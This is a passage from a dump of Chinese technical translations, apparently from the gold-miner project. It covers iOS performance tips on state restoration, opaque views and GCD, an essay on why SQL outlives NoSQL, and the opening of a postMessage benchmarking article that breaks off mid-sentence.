view](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2edd59aa-1195-40cd-8322-7f71a5e2e91b/ios-performance-tricks-4-multitask.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2edd59aa-1195-40cd-8322-7f71a5e2e91b/ios-performance-tricks-4-multitask.png)\n\n用户退出应用程序时 iOS 截取的应用程序截图（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2edd59aa-1195-40cd-8322-7f71a5e2e91b/ios-performance-tricks-4-multitask.png)）\n\niOS 使用这些屏幕截图来给人一种假象，即应用程序仍在运行或仍在显示此特定视图，而应用程序可能已被后台终止或重新启动，但此时仍显示相同的屏幕截图。\n\n您是否曾体验过，从多任务屏幕恢复应用程序后，该应用程序显示的用户界面与多任务视图中显示的快照有什么不一样？ 这是因为应用程序没有实现状态恢复机制，当应用程序在后台被杀死时，显示的数据丢失。这可能会导致糟糕的体验，因为用户希望你的应用程序与离开时处于相同的状态。\n\n在 Apple 的 [保留你应用程序的 UI](https://developer.apple.com/documentation/uikit/view_controllers/preserving_your_app_s_ui_across_launches?language=objc) 文章中提及：\n\n> 「用户希望你的应用程序与他们离开时处于同一状态。状态保存和恢复可确保应用程序在再次启动时恢复到以前的状态。」\n\n`UIKit` 为简化状态保护和恢复做了很多工作：它可以在适当的时间自动处理应用程序状态的保存和加载。我们需要做的就是添加一些配置来告诉应用程序支持状态保存和恢复，以及告诉应用程序需要保存哪些数据。\n\n为了实现状态保存和恢复，我们可以在 `AppDelegate.swift` 中实现下面两个方法：\n\n```\nfunc application(_ application: UIApplication, shouldSaveApplicationState coder: NSCoder) -> Bool {\n   return true\n}\n```\n\n```\nfunc application(_ application: UIApplication, shouldRestoreApplicationState coder: NSCoder) -> Bool {\n   return true\n}\n```\n\n这将告诉应用程序自动保存和恢复应用程序的状态。\n\n接下来，我们将告诉应用程序需要保留哪些视图控制器。我们通过在 `storyboard` 中指定 `restoration ID` 来实现这一点：\n\n[![Setting restoration ID in storyboard](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/0eb257d5-cd70-4a0b-9565-3782999b9926/ios-performance-tricks-5-restorationid.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/0eb257d5-cd70-4a0b-9565-3782999b9926/ios-performance-tricks-5-restorationid.png) \n\n在 `storyboard` 中设置 `restoration ID`（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/0eb257d5-cd70-4a0b-9565-3782999b9926/ios-performance-tricks-5-restorationid.png)）\n\n你也可以选中 `Use Storyboard ID` 以使用 `storyboard ID` 作为 `restoration ID`。\n\n如果要在代码中设置 `restoration ID`，我们可以使用视图控制器的 `restorationIdentifier` 属性。\n\n```\n// ViewController.swift\nself.restorationIdentifier = \"MainVC\"\n```\n\n在状态保留期间，所有被分配了恢复标识符的视图控制器或视图都会将其状态保存到磁盘。\n\n可以将恢复标识符组合在一起以形成恢复路径。标识符是通过视图层次结构来分组的，从根视图控制器到当前活动视图控制器。假设 `MyViewController` 嵌入在 `navigation` 控制器中，`navigation` 控制器嵌入在另一个 `tabbar` 控制器中。假设他们使用自己的类名作为恢复标识符，恢复路径将如下所示：\n\n```\nTabBarController/NavigationController/MyViewController\n```\n\n当用户将 `MyViewController` 作为活动视图控制器并离开应用程序时，该路径将会被应用程序保存; 那么应用程序将记住以前的视图层次结构即（*Tab Bar Controller → Navigation Controller → My View Controller*）。\n\n在分配了恢复标识符之后，我们需要在每个保留的视图控制器里实现 `encodeRestorableState(with coder:)` 和 `decodeRestorableState(with coder:)` 方法。这两种方法让我们指定需要保存或加载的数据以及如何对它们进行编码或解码。\n\n我们来看看视图控制器里如何实现：\n\n```\n// MyViewController.swift\n\n// MARK: State restoration\n// UIViewController already conforms to UIStateRestoring protocol by default\nextension MyViewController {\n\n   // will be called during state preservation\n   override func encodeRestorableState(with coder: NSCoder) {\n       // encode the data you want to save during state preservation\n       coder.encode(self.username, forKey: \"username\")\n       super.encodeRestorableState(with: coder)\n   }\n   \n   // will be called during state restoration\n   override func decodeRestorableState(with coder: NSCoder) {\n     // decode the data saved and load it during state restoration\n     if let restoredUsername = coder.decodeObject(forKey: \"username\") as? String {\n       self.username = restoredUsername\n     }\n     super.decodeRestorableState(with: coder)\n   }\n} \n```\n\n记得在自己的方法底部调用父类实现。这样可确保父类有机会保存和恢复状态。\n\n一旦指定保存的对象解码完成，`applicationFinishedRestoringState()` 将被调用以告诉视图控制器状态已被恢复。我们可以在此方法中更新视图控制器的 UI。\n\n```\n// MyViewController.swift\n\n// MARK: State restoration\n// UIViewController already conforms to UIStateRestoring protocol by default\nextension MyViewController {\n   ...\n \n   override func applicationFinishedRestoringState() {\n     // update the UI here\n     self.usernameLabel.text = self.username\n   }\n}\n```\n\n这些，就是为你的应用程序实现状态保存和恢复的基本方法了！请记住，当应用程序被用户强行关闭时，操作系统将删除已保存的状态，避免在状态保存和恢复时出现问题。\n\n此外，请勿将任何模型数据（即应保存到 UserDefaults 或 Core Data 的数据）存储到该状态,即使这样做似乎很方便。当用户强制退出你的应用程序时，状态数据将被删除，你当然不希望以这种方式丢失模型数据。\n\n要测试状态保存和恢复是否正常，请按照以下步骤操作：\n\n1. 使用Xcode构建和启动应用程序。\n2. 跳转到要测试状态保留和恢复的页面。\n3. 返回主屏幕（通过向上滑动或双击 `home` 按钮，或者在用模拟器时键入 `Shift ⇧` + `Cmd ⌘` + `H`）将应用程序发送到后台。\n4. 通过在Xcode中点击 ⏹ 按钮，停止程序运行。\n5. 再次启动应用程序并检查状态是否已成功还原。\n\n由于本节仅涵盖了状态保存和恢复的基础知识，因此我推荐 Apple Inc. 上的以下文章。了解更多有关状态恢复的知识：\n\n1. [状态的保存和恢复](https://developer.apple.com/library/archive/featuredarticles/ViewControllerPGforiPhoneOS/PreservingandRestoringState.html)\n2. [UI 保存过程](https://developer.apple.com/documentation/uikit/view_controllers/preserving_your_app_s_ui_across_launches/about_the_ui_preservation_process)\n3. [UI 恢复过程](https://developer.apple.com/documentation/uikit/view_controllers/preserving_your_app_s_ui_across_launches/about_the_ui_restoration_process)\n\n### 4. 尽可能减少透明视图的使用\n\n不透明视图是指没有透明度的视图，意味着放在它后面的任何 UI 元素不可见。我们可以在 Interface Builder 中将视图设置为不透明：\n\n[![This will inform the drawing system to skip drawing whatever is behind this view](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/0402cef9-9dc9-4d61-b394-21de713e039b/ios-performance-tricks-6.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5af9b5bc-8786-41d9-88ab-2342f69c2b88/ios-performance-tricks-6-opaque.png)\n\n在 storyboard 中将 UIView 设置为不透明（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5af9b5bc-8786-41d9-88ab-2342f69c2b88/ios-performance-tricks-6-opaque.png)）\n\n或者我们可以在代码中修改 UIView 的 isOpaque 属性：\n\n```\nview.isOpaque = true\n```\n\n将视图设置为不透明将使绘图系统在渲染屏幕时优化一些绘图性能。\n\n如果视图具有透明度（即 alpha 低于 1.0），那么 iOS 将需要做些额外的工作来混合视图层次结构中不同的视图层以计算出哪些内容需要展示。另一方面，如果视图设置为不透明，则绘图系统仅会将此视图放在前面，并避免在其后面混合多个视图层的额外工作。\n\n您可以在 iOS 模拟器中通过 _Debug_ → _Color Blended Layers_ 来检查哪些（透明）图层正在混合。\n\n[![Green is non-color blended, red is blended layer](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8b312287-e25e-4f1e-ad67-aea5aa91f2f3/ios-performance-tricks-7.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d7c3eeb5-0d64-4b38-9f01-da23dd7d244e/ios-performance-tricks-7-colorblendedlayers.png)\n\n在 Simulator 中显示各种图层的颜色\n\n当选择 _Color Blended Layers_ 选项后，你可以看到一些视图是红色的，一些是绿色的。 红色表示视图不是不透明的，并且其显示的是在其后面混合的图层。绿色表示视图不透明且未进行混合。\n\n[![With an opaque color background, the layer doesn’t need to blend with another layer](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7dfe406f-434b-4358-8458-7408ba61bcc4/ios-performance-tricks-9-greenish.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7dfe406f-434b-4358-8458-7408ba61bcc4/ios-performance-tricks-9-greenish.png)\n\n尽可能为 UILabel 指定非透明背景颜色以减少颜色混合图层。（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7dfe406f-434b-4358-8458-7408ba61bcc4/ios-performance-tricks-9-greenish.png)）\n\n上面显示的所有 label（“查看朋友”等）被红色突出显示，是因为当 label 被拖动到 storyboard 时，其背景颜色默认设置为透明。当绘图系统在 label 区域附近的进行绘制时，它将询问 label 后面的图层并进行一些计算。\n\n优化应用性能的方法是尽可能减少用红色突出显示的视图数量。\n\n通过将 label 颜色从 `label.backgroundColor = UIColor.clear` 修改成 `label.backgroundColor = UIColor.white`，我们可以减少 label 和它后面的视图层之间的图层混合。\n\n[![Using a transparent background color will cause layer blending](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/56fc5367-3cca-49f1-a5bd-a5fd15eb1cc0/ios-performance-tricks-8-redgreen.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/56fc5367-3cca-49f1-a5bd-a5fd15eb1cc0/ios-performance-tricks-8-redgreen.png)\n\n许多 label 以红色突出显示，因为它们的背景颜色是透明的，导致 iOS 通过混合背后的视图来计算背景颜色。（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/56fc5367-3cca-49f1-a5bd-a5fd15eb1cc0/ios-performance-tricks-8-redgreen.png)）\n\n你可能已经注意到，即使你已将 UIImageView 设置为不透明并为其指定了背景颜色，模拟器仍将在 imageView 上显示红色。这可能是因为你用于 imageView 的图像具有Alpha通道。\n\n要删除图像的 Alpha 通道，可以使用预览应用程序复制图像（`Shift⇧` + `Cmd⌘`+ `S`），并在保存时取消选中 `Alpha` 复选框。\n\n[![Uncheck the ‘Alpha’ checkbox when saving an image to discard the alpha channel.](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/13b72d22-093d-4957-b297-25c9b950ad4c/ios-performance-tricks-10-uncheck.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/13b72d22-093d-4957-b297-25c9b950ad4c/ios-performance-tricks-10-uncheck.png)\n\n保存图像时，取消选中 `Alpha` 复选框以取消 Alpha 通道。（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/13b72d22-093d-4957-b297-25c9b950ad4c/ios-performance-tricks-10-uncheck.png)）\n\n### 5. 在后台线程中处理繁重的功能（GCD）\n\n因为 UIKit 仅适用于主线程，所以在主线程上执行繁重的处理工作会降低 UI 的速度。主线程使用 UIKit 不仅要处理和响应用户的交互，还需要绘制屏幕。\n> 译者注：将touch input 翻译成交互，是因为点击和输入属于交互范畴。\n\n使应用程序保持响应的关键是尽可能多的将繁重处理任务放到后台线程。应当尽量避免在主线程上执行复杂的计算，网络和繁重的IO操作（例如，磁盘的读取和写入）。\n\n你可能曾经使用过突然对你的操作停止响应的应用程序，就好像应用程序已挂起。这很可能是因为应用程序在主线程上运行繁重的计算任务。\n\n主线程中通常在 UIKit 任务（如处理用户输入）和一些间隔很小的轻量级任务之间交替。如果在主线程上运行繁重的任务，那么 UIKit 需要等到繁重的任务完成以后才能处理用户交互。\n\n[![Avoid running performance-intensive or time-consuming task on the main thread](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8f319bf3-4849-4e94-9c1b-6666415f4f98/ios-performance-tricks-11-mainthread.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8f319bf3-4849-4e94-9c1b-6666415f4f98/ios-performance-tricks-11-mainthread.png)\n\n这是主线程处理 UI 任务的方式以及在执行繁重任务时导致 UI 挂起的原因。（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8f319bf3-4849-4e94-9c1b-6666415f4f98/ios-performance-tricks-11-mainthread.png)）\n\n默认情况下，视图控制器生命周期方法（如 viewDidLoad）和 IBOutlet 相关方法是在主线程上执行。要将繁重的处理任务移到后台线程，我们可以使用 Apple 提供的 [Grand Central Dispatch](https://apple.github.io/swift-corelibs-libdispatch/) 队列。\n\n以下是切换队列的例子：\n\n```\n// Switch to background thread to perform heavy task.\nDispatchQueue.global(qos: .default).async {\n   // Perform heavy task here.\n \n   // Switch back to main thread to perform UI-related task.\n   DispatchQueue.main.async {\n       // Update UI.\n   }\n}\n```\n\n`qos` 代表着「quality of service」。不同的 QoS 值表示任务不同的优先级。对于在具有较高 QoS 值的队列中分配的任务，操作系统将分配更多的 CPU 时间、CPU 功率和 I/O 吞吐量，这意味着任务将在具有更高 QoS 值的队列中更快地完成。较高的 QoS 值也会因使用更多资源而消耗更多能量。\n\n以下是从最高优先级到最低优先级的 QoS 值列表：\n\n[![Quality-of-service values of queue sorted by performance and energy efficiency](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bbfaec6b-7e95-4d5e-a1d6-d5c96944d363/ios-performance-tricks-12-qos.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bbfaec6b-7e95-4d5e-a1d6-d5c96944d363/ios-performance-tricks-12-qos.png)\n\n按性能和能效排序的 QoS 值（[查看大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bbfaec6b-7e95-4d5e-a1d6-d5c96944d363/ios-performance-tricks-12-qos.png)）\n\nApple 提供了 [一个简单的表格](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/EnergyGuide-iOS/PrioritizeWorkWithQoS.html#//apple_ref/doc/uid/TP40015243-CH39-SW1) 其中包含用于不同任务的 QoS 值的示例。\n\n需要记住，所有 UIKit 代码始终都应该在主线程上执行。在后台线程上修改 UIKit 对象（例如 `UILabel` 和 `UIImageView`）可能会产生意想不到的后果，例如UI实际上没有更新，发生崩溃等等。\n\n在 Apple 的 [主线程检查器](https://developer.apple.com/documentation/code_diagnostics/main_thread_checker) 文章中提及：\n\n> 「在主线程以外的线程上更新 UI 是一种常见错误，这可能导致 UI 不更新，视觉缺陷，数据损坏以及崩溃。」\n\n我建议观看 Apple 的 WWDC 2012 视频上的 [UI 并发](https://developer.apple.com/videos/play/wwdc2012/211/)，以便更好地了解如何构建响应式应用。\n\n#### 后记\n\n性能优化需要你在应用程序的功能之上编写更多的代码或配置其他设置。这可能会使您的应用程序交付时间超出预期，并且您将来会有更多代码需要维护，而更多代码意味着更多潜在的 bug。\n\n在花时间优化应用之前，先问问自己应用是否已经流畅，或者是否有一些真正需要优化的无响应的部分。花费大量时间优化已经很流畅的应用程序来减少 0.01 秒的耗时是不值得的，最好将这些时间花在开发更好的功能或优先级更高的任务。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/is-no-sql-killing-sql.md",
    "content": "> * 原文地址：[Is No-SQL killing SQL?](https://towardsdatascience.com/is-no-sql-killing-sql-3b0daff69ea)\n> * 原文作者：[Tom Waterman](https://medium.com/@tjwaterman99)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/is-no-sql-killing-sql.md](https://github.com/xitu/gold-miner/blob/master/TODO1/is-no-sql-killing-sql.md)\n> * 译者：[江不知](http://jalan.space)\n> * 校对者：[Jessica](https://github.com/cyz980908), [司徒公子](https://github.com/stuchilde)\n\n# SQL 将死于 No-SQL 之手？\n\n![](https://cdn-images-1.medium.com/max/2688/1*b5c0bA8yVQ7Zeli-6nrXHA.png)\n\n#### SQL 永生不灭的两个原因\n\n上周，我的一位朋友向我转发了一封来自一位成功创业者的电子邮件，邮件宣称「SQL 已死」。\n\n这位创业者宣称，像 MongoDB、Redis 这样广受欢迎的 No-SQL 数据库会慢慢取代基于 SQL 的数据库，因此，作为数据科学家还需学习 SQL 是一个「历史遗留问题」。\n\n我完全被他的电子邮件震惊了：他怎么得出如此离谱的结论？但是这也使我感到好奇……别人是否也有可能被类似地误导了？这位企业家已经发展了大批追随者，且直言不讳 —— 那么新晋数据科学家是否已经收到了避免学习 SQL 的建议？\n\n因此我觉得我应当公开分享我对该创业者的回应，以防他人认为 SQL 即将走向灭绝。\n\n> 在数据科学的职业生涯中，你**绝对**应当学习 SQL。No-SQL 的存在绝对不会影响学习 SQL 的价值。\n\n基本上有两个原因可以保证 SQL 在未来几十年仍然适用。\n\n**原因 #1：No-SQL 数据库无法取代数据分析型数据库，例如 Presto、Redshift 或 BigQuery**\n\n无论你的应用是使用以 SQL 为后端的数据库，例如 MySQL，或是以 No-SQL 为后端的数据库，例如 MongoDB，这些后端中的数据最终都将被加载到一个专用的数据分析数据库中，例如 Redshift、Snowflake、BigQuery 或 Presto。\n\n![分析型数据库平台架构示例：SQL 与 NoSQL](https://cdn-images-1.medium.com/max/3104/1*LBVLAfUu29FwbYCFF0vRCg.png)\n\n为什么公司要将他们的数据转移到像 Redshift 这样特定的列式存储中？因为和 NoSQL 与 MySQL 这样的行式存储数据库相比，列式存储能**更**快地运行分析查询。事实上，我敢打赌，列式存储和 NoSQL 一样会越来越受欢迎。\n\n因此，无论是 NoSQL 还是其他的应用程序数据库都与数据科学家无关，因为数据科学家不会对应用程序数据库进行操作（尽管有一些例外，这些例外我将在之后讨论）。\n\n**原因 #2：No-SQL 数据库的好处不在于他们不支持 SQL 语言**\n\n事实证明，如果 No-SQL 数据存储支持基于 SQL 的查询引擎是有意义的，那么它们就可以实现该引擎。类似地，SQL 数据库也可以支持 NoSQL 查询语言，但是它们选择不支持。\n\n为什么列式存储**有意选择**提供 SQL 接口呢？\n\n他们之所以作出这样的选择是因为 SQL 是一种表达数据操作指令的强大语言。\n\n让我们来考虑一个简单的查询示例，该查询用于计算来自 NoSQL 数据库 MongoDB 中某集合的文档数量。\n\n> 注意：MongoDB 中的文档类似于行，集合类似于表。\n\n```js\ndb.sales.aggregate( [\n  {\n    $group: {\n       _id: null,\n       count: { $sum: 1 }\n    }\n  }\n] )\n```\n\n将其与等价的 SQL 语句进行比较。\n\n```sql\nselect count(1) from sales\n```\n\n显然，对于想要提取数据的人来说，SQL 语言是更好的选择。（NoSQL 数据库支持另一种语言，因为对于与数据库连接的应用程序库来说，正确构造 SQL 相对比较困难）。\n\n---\n\n在前面我提到过，应用程序数据库技术与科学家无关的规则是有例外的。例如，在我的第一家公司，我们实际上没有任何像 Redshift 这样的分析型数据库，所以我不得不直接查询该应用程序的数据库。（更准确地说，我是在查询应用程序数据库的只读副本）。\n\n公司的应用也使用了 Redis 这样的 No-SQL 数据库，这样至少有一次，我需要从 Redis 中提取数据，所以我必须学习一些 Redis 的 NoSQL API 的某些组件。\n\n因此，如果在主应用程序环境中完全使用 NoSQL 数据库，那么你学到的任何 SQL 知识都与之无关了。但是这样的环境非常少见，随着公司的发展，他们几乎都会把一个基于 SQL 的列式存储数据库投入使用。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/is-postmessage-slow.md",
    "content": "> * 原文地址：[Is postMessage slow?](https://dassur.ma/things/is-postmessage-slow/)\n> * 原文作者：[Surma](https://dassur.ma)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/is-postmessage-slow.md](https://github.com/xitu/gold-miner/blob/master/TODO1/is-postmessage-slow.md)\n> * 译者：[linxiaowu66](https://github.com/linxiaowu66)\n> * 校对者：[MarchYuanx](https://github.com/MarchYuanx), [TiaossuP](https://github.com/TiaossuP)\n\n# postMessage 很慢吗？\n\n不，不一定（视情况而定）\n\n这里的“慢”是什么意思呢？[我之前在这里提及过](https://dassur.ma/things/less-snakeoil/)，在这里再说一遍：如果你不度量它，它并不慢，即使你度量它，但是没有上下文，数字也是没有意义的。\n\n话虽如此，人们甚至不会考虑采用 [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Worker)，因为他们担心 `postMessage()` 的性能，这意味着这是值得研究的。[我的上一篇博客文章](https://dassur.ma/things/when-workers/)也得到了类似的[回复](https://twitter.com/dfabu/status/1139567716052930561)。让我们将实际的数字放在 `postMessage()` 的性能上，看看你会在什么时候冒着超出承受能力的风险。如果连普通的 `postMessage()` 在你的使用场景下都太慢，那么你还可以做什么呢?\n\n准备好了吗？继续往下阅读吧。\n\n## postMessage 是怎么工作的？\n\n在开始度量之前，我们需要了解**什么是** `postMessage()`，以及我们想度量它的哪一部分。否则，[我们最终将收集无意义的数据](https://dassur.ma/things/deep-copy/)并得出无意义的结论。\n\n`postMessage()` 是 [HTML规范](https://html.spec.whatwg.org/multipage/) 的一部分（而不是 [ECMA-262](http://www.ecma-international.org/ecma-262/10.0/index.html#Title)！）正如我在 [deep-copy 一文](https://dassur.ma/things/deep-copy/)中提到的，`postMessage()` 依赖于结构化克隆数据，将消息从一个 JavaScript 空间复制到另一个 JavaScript 空间。仔细研究一下 [`postMessage()` 的规范](https://html.spec.whatwg.org/multipage/webmessaging.html#message-port-post-message-steps)，就会发现结构化克隆是一个分两步的过程：\n\n### 结构化克隆算法\n\n1. 在消息上执行 `StructuredSerialize()`\n2. 在接收方中任务队列中加入一个任务，该任务将执行以下步骤：\n    1. 在序列化的消息上执行 `StructuredDeserialize()`\n    2. 创建一个 `MessageEvent` 并派发一个带有该反序列化消息的 `MessageEvent` 事件到接收端口上\n\n这是算法的一个简化版本，因此我们可以关注这篇博客文章中重要的部分。虽然这在**技术上**是不正确的，但它却抓住了精髓。例如，`StructuredSerialize()` 和 `StructuredDeserialize()` 在实际场景中并不是真正的函数，因为它们不是通过 JavaScript（[不过有一个 HTML 提案打算将它们暴露出去](https://github.com/whatwg/html/pull/3414)）暴露出去的。那这两个函数实际上是做什么的呢？现在，**你可以将 `StructuredSerialize()` 和 `StructuredDeserialize()` 视为 `JSON.stringify()` 和 `JSON.parse()` 的智能版本**。从处理循环数据结构、内置数据类型（如 `Map`、`Set`和`ArrayBuffer`）等方面来说，它们更聪明。但是，这些聪明是有代价的吗？我们稍后再讨论这个问题。\n\n上面的算法没有明确说明的是，**序列化会阻塞发送方，而反序列化会阻塞接收方。** 另外还有：Chrome 和 Safari 都推迟了运行 `StructuredDeserialize()`，直到你实际访问了 `MessageEvent` 上的 `.data` 属性。另一方面，Firefox 在派发事件之前会反序列化。\n\n> **注意：** 这两个行为**都是**兼容规范的，并且完全有效。[我在 Mozilla 上提了一个bug](https://bugzilla.mozilla.org/show_bug.cgi?id=1564880)，询问他们是否愿意调整他们的实现，因为这可以让开发人员去控制什么时候应该受到反序列化大负载的“性能冲击”。\n\n考虑到这一点，我们必须选择对**什么**来进行基准测试：我们可以端到端进行度量，所以可以度量一个 worker 发送消息到主线程所花费的时间。然而，这个数字将捕获序列化和反序列化的时间总和，但是它们却分别发生在不同的空间下。记住：**与 worker 的整个通信的都是主动的，这是为了保持主线程自由和响应性。** 或者，我们可以将基准测试限制在 Chrome 和 Safari 上，并单独测量从 `StructuredDeserialize()` 到访问 `.data` 属性的时间，这个需要把 Firefox 排除在基准测试之外。我还没有找到一种方法来单独测量 `StructuredSerialize()`，除非运行的时候调试跟踪代码。这两种选择都不理想，但本着构建弹性 web 应用程序的精神，**我决定运行端到端基准测试，为 `postMessage()` 提供一个上限。**\n\n有了对 `postMessage()` 的概念理解和评测的决心，我将使用 ☠️ 微基准 ☠️。请注意这些数字与现实之间的差距。\n\n## 基准测试 1：发送一条消息需要花费多少时间？\n\n![Two JSON objects showing depth and breadth](https://dassur.ma/things/is-postmessage-slow/breadth-depth.svg)\n\n深度和宽度在 1 到 6 之间变化。对于每个置换，将生成 1000 个对象。\n\n基准将生成具有特定“宽度”和“深度”的对象。宽度和深度的值介于 1 和 6 之间。**对于宽度和深度的每个组合，1000 个唯一的对象将从一个 worker `postMessage()` 到主线程**。这些对象的属性名都是随机的 16 位十六进制数字符串，这些值要么是一个随机布尔值，要么是一个随机浮点数，或者是一个来自 16 位十六进制数的随机字符串。**基准测试将测量传输时间并计算第 95 个百分位数。**\n\n### 测量结果\n\n![](https://dassur.ma/things/is-postmessage-slow/nokia2-chrome.svg)\n\n![](https://dassur.ma/things/is-postmessage-slow/pixel3-chrome.svg)\n\n![](https://dassur.ma/things/is-postmessage-slow/macbook-chrome.svg)\n\n![](https://dassur.ma/things/is-postmessage-slow/macbook-firefox.svg)\n\n![](https://dassur.ma/things/is-postmessage-slow/macbook-safari.svg)\n\n这一基准测试是在 2018 款的 MacBook Pro上的 Firefox、 Safari、和 Chrome 上运行，在 Pixel 3XL 上的 Chrome 上运行，在 诺基亚 2 上的 Chrome 上运行。\n\n> **注意：** 你可以在 [gist](https://gist.github.com/surma/08923b78c42fab88065461f9f507ee96) 中找到基准数据、生成基准数据的代码和可视化代码。而且，这是我人生中第一次编写 Python。别对我太苛刻。\n\nPixel 3 的基准测试数据，尤其是 Safari 的数据，对你来说可能有点可疑。当 [Spectre & Meltdown](https://zhuanlan.zhihu.com/p/32784852) 被发现的时候,所有的浏览器会禁用 [SharedArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) 并将我要测量使用的 [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 函数实行计时器的精度减少。只有 Chrome 能够还原这些更改，因为它们将[站点隔离](https://www.chromium.org/home/chromisecurity/site-isolation)发布到 Chrome 桌面版。更具体地说，这意味着浏览器将 `performance.now()` 的精度限制在以下值上:\n\n* Chrome（桌面版）：5µs\n* Chrome（安卓系统）：100µs\n* Firefox（桌面版）：1ms（该限制可以禁用掉，我就是禁用掉的）\n* Safari（桌面版）：1ms\n\n数据显示，对象的复杂性是决定对象序列化和反序列化所需时间的重要因素。这并不奇怪：序列化和反序列化过程都必须以某种方式遍历整个对象。数据还表明，对象 JSON 化后的大小可以很好地预测传输该对象所需的时间。\n\n## 基准测试 2：什么导致 postMessage 变慢了？\n\n为了验证这个，我修改了基准测试：我生成了宽度和深度在 1 到 6 之间的所有排列，但除此之外，所有叶子属性都有一个长度在 16 字节到 2 KiB 之间的字符串值。\n\n### 测试结果\n\n![A graph showing the correlation between payload size and transfer time for 